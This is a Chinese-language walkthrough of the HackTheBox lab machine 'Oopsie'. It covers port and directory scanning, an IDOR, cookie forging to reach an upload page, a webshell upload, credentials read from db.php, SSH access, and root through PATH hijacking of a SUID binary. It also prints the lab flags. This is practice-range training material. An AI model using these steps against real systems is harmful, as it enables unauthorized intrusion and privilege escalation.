hacker靶场系列之hackthebox--oopsie
oopsie
0x00 前言
某年某月某日夜,解衣欲睡,后倍感无聊,遂起床日个靶场。目标:10.129.243.129
0x01 信息收集
拿到目标之后,二话不说,端口扫描、目录扫描、爬虫三板斧
端口扫描
┌──(root💀kali)-[/usr/local/dirsearch-master]
└─# nmap -sS -F -sV 10.129.243.129
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-22 20:21 CST
Nmap scan report for 10.129.243.129 (10.129.243.129)
Host is up (0.71s latency).
Not shown: 98 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.30 seconds
首先来一波端口扫描,扫描结果发现目标开放了80端口和22端口,80端口为web服务端口,访问一波看看

非常简洁的一个页面,神马都没有,能点的都点点也没发现什么可搞的
目录扫描
──(root💀kali)-[/usr/local/dirsearch-master]
└─# python3 dirsearch.py -u http://10.129.243.129/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10909
Output File: /usr/local/dirsearch-master/reports/10.129.243.129/-_22-01-22_20-16-19.txt
Error Log: /usr/local/dirsearch-master/logs/errors-22-01-22_20-16-19.log
Target: http://10.129.243.129/
[20:16:20] Starting:
[20:16:26] 301 - 313B - /js -> http://10.129.243.129/js/
[20:16:31] 403 - 279B - /.ht_wsr.txt
[20:16:31] 403 - 279B - /.htaccess.save
[20:16:31] 403 - 279B - /.htaccess.bak1
[20:16:31] 403 - 279B - /.htaccess.sample
[20:16:31] 403 - 279B - /.htaccess.orig
[20:16:31] 403 - 279B - /.htaccess_extra
[20:16:31] 403 - 279B - /.htaccess_orig
[20:16:31] 403 - 279B - /.htaccess_sc
[20:16:31] 403 - 279B - /.htaccessOLD
[20:16:31] 403 - 279B - /.htaccessBAK
[20:16:31] 403 - 279B - /.htaccessOLD2
[20:16:31] 403 - 279B - /.htm
[20:16:31] 403 - 279B - /.html
[20:16:32] 403 - 279B - /.htpasswds
[20:16:32] 403 - 279B - /.htpasswd_test
[20:16:32] 403 - 279B - /.httr-oauth
[20:16:35] 403 - 279B - /.php
[20:17:25] 301 - 314B - /css -> http://10.129.243.129/css/
[20:17:33] 301 - 316B - /fonts -> http://10.129.243.129/fonts/
[20:17:37] 301 - 317B - /images -> http://10.129.243.129/images/
[20:17:37] 403 - 279B - /images/
[20:17:38] 200 - 11KB - /index.php
[20:17:38] 200 - 11KB - /index.php/login/
[20:17:40] 403 - 279B - /js/
[20:18:03] 403 - 279B - /server-status/
[20:18:03] 403 - 279B - /server-status
[20:18:10] 301 - 317B - /themes -> http://10.129.243.129/themes/
[20:18:10] 403 - 279B - /themes/
[20:18:12] 301 - 318B - /uploads -> http://10.129.243.129/uploads/
[20:18:13] 403 - 279B - /uploads/
Task Completed
dirsearch扫完目录发现了几个点可以尝试去看看,第一个是/index.php和/index.php/login返回200,有可能是存在登录点;第二个是存在几个目录例如/images,uploads等,这个uploads有可能是个上传文件后存储的目录,先拿小本本记下来。
访问下/index.php和/index.php/login,发现并没有登陆页面,扫兴。
爬虫扫描

使用burp的爬虫功能爬了一下,发现存在个/cdn-cgi/login的路径,这有可能是个登录点,访问下看看

嘿嘿嘿,登陆点果然在这。
0x02 web权限获取
看到登录页面后,可以测试下有没有防暴力破解的机制,没有的话可以暴力破解进行登录。
不过我不是很喜欢爆破这种手段的,再看看发现登录页有一个login as guest,点一下进去

发现进入了admin.php
随便点点其他功能如account,uploads等等。
account功能测试

在account里可以看到guest用户的access ID,name,email等信息,此时url中的id值吸引了我的注意力,会不会id值和账户信息有什么关系呢?

手动改了几个值发现,改了id值可以看见其他用户的信息,存在水平越权问题
嘿嘿嘿,burp遍历一波id值,发现了几个length长度不一样的,很有可能是存在的用户

访问一波,偷个信息,可以看到得到了admin和super admin的access id值,此时还不太清楚这个是干啥用的。
| id | AccessID | Name | |
|---|---|---|---|
| 1 | 34322 | admin | admin@megacorp.com |
| 2 | 2233 | guest | guest@megacorp.com |
| 4 | 8832 | john | john@tafcz.co.uk |
| 13 | 57633 | Peter | peter@qpic.co.uk |
| 23 | 28832 | Rafol | tom@rafol.co.uk |
| 30 | 86575 | super admin | superadmin@megacorp.com |
uploads功能测试
测完account功能,接下来测一下uploads功能,先用guest账户看下这个功能

跟我说需要super admin的权限,哼!
GET /cdn-cgi/login/admin.php?content=accounts&id=2 HTTP/1.1
Host: 10.129.243.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.129.243.129/cdn-cgi/login/admin.php
Cookie: user=2233; role=guest
Upgrade-Insecure-Requests: 1
看下自己的http请求发现,cookie字段的值挺有意思,明文传输没加密,看这个user字段的值和access id值一样,role权限值和用户名一样,终于知道access id值是干嘛用的了,测一下垂直越权。

admin权限和super 权限都可以使用文件上传的功能。

上传个webshell.php,发现根本没对文件类型等做检查,也不需要绕过之类的,直接上传成功

web权限获取
由于返回的数据包里没有带上传路径,我们可以根据目录扫描时候扫出的目录为基础进行递归目录扫描。
这里我遇到了一个大坑,hackthebox服务器在我上传上去1.jpg和webshell.php后,过了两分钟左右直接清除了这俩文件,当我扫文件扫出1.jpg的时候发现,根本不是我传上去那张

后又重新上传haha.php,直接上godzila连接成功。


这里服务器删马删的很快,根本来不及做过多的操作,建议其他小伙伴,将上传的数据包在burp里repeater,重放后就可以继续连了。
0x03 普通用户权限获取
在拿到了webshell的权限后,在服务器里简单翻了翻,发现在/var/www/html/cdn-cgi/login目录下存在db.php,文件内容如下:

<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
再看下/etc/passwd
/usr/bin >cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
robert:x:1000:1000:robert:/home/robert:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
robert是一个系统账户,既然获得了密码,那直接ssh连了,省的webshell老断
┌──(root💀kali)-[~/桌面]
└─# ssh -D 7000 robert@10.129.243.129
The authenticity of host '10.129.243.129 (10.129.243.129)' can't be established.
ECDSA key fingerprint is SHA256:JmIUfqU8/Xv/1Fy/m/Clya5iX2K756n/EGu0eeJb5xc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.243.129' (ECDSA) to the list of known hosts.
robert@10.129.243.129's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-76-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Jan 22 15:23:19 UTC 2022
System load: 0.0 Processes: 112
Usage of /: 40.7% of 6.76GB Users logged in: 0
Memory usage: 10% IP address for ens160: 10.129.243.129
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
275 packages can be updated.
222 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sat Jan 25 10:20:16 2020 from 172.16.118.129
robert@oopsie:~$ whoami
robert
robert@oopsie:~$
0x04 提权
拿到普通用户权限后,看了一下id值发现该用户属于bugtracker组里
robert@oopsie:~$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
找到和组名相同的文件
find / -name bugtracker 2>/dev/null
查看下此文件的权限,拥有者是root,并且具有s(SUID,Set UID)的权限,s权限设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份。
robert@oopsie:~$ ls -al /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker
有了提权的基础,接下来执行下这个文件看下,发现该文件是使用cat命令读取root目录的文件信息的。
robert@oopsie:~$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 24
---------------
cat: /root/reports/24: No such file or directory
那接下来的思路就可以确定了,就是让文件执行cat的时候不去执行cat原本的命令,而是去执行/bin/bash就可以提权成功了。
改变当前目录的path
robert@oopsie:~$ export Path=/tmp:$PATH
robert@oopsie:~$ export PATH=/tmp:$PATH
robert@oopsie:~$ export
declare -x HOME="/home/robert"
declare -x LANG="en_US.UTF-8"
declare -x LESSCLOSE="/usr/bin/lesspipe %s %s"
declare -x LESSOPEN="| /usr/bin/lesspipe %s"
declare -x LOGNAME="robert"
declare -x LS_COLORS="rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:"
declare -x MAIL="/var/mail/robert"
declare -x OLDPWD
declare -x PATH="/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
declare -x PWD="/home/robert"
declare -x Path="/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
declare -x SHELL="/bin/bash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="10.10.16.47 40842 22"
declare -x SSH_CONNECTION="10.10.16.47 40842 10.129.243.129 22"
declare -x SSH_TTY="/dev/pts/0"
declare -x TERM="xterm-256color"
declare -x USER="robert"
declare -x XDG_DATA_DIRS="/usr/local/share:/usr/share:/var/lib/snapd/desktop"
declare -x XDG_RUNTIME_DIR="/run/user/1000"
declare -x XDG_SESSION_ID="49"
在tmp目录下将/bin/bash写进cat里,并赋予可执行权限,这样bugtracker执行cat的时候就会执行/bin/bash了
robert@oopsie:~$ cd /tmp
robert@oopsie:/tmp$ echo '/bin/bash' > cat
robert@oopsie:/tmp$ chmod +x cat
robert@oopsie:/tmp$ ls -al cat
-rwxrwxr-x 1 robert robert 10 Jan 22 15:38 cat
robert@oopsie:/tmp$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 3
---------------
root@oopsie:/tmp#
运行后可以看到已经获得root用户权限。
0x05 flag获取
普通用户flag:
root@oopsie:~# ls
user.txt
root@oopsie:~# cat user.txt
root@oopsie:~# more user.txt
f2c74ee8db7983851ab2a96a44eb7981
root@oopsie:~#
root用户flag:
root@oopsie:~# cd /root
root@oopsie:/root# ls
reports root.txt
root@oopsie:/root# more root.txt
af13b0bee69f8a877c3faf667f7beacf

浙公网安备 33010602011771号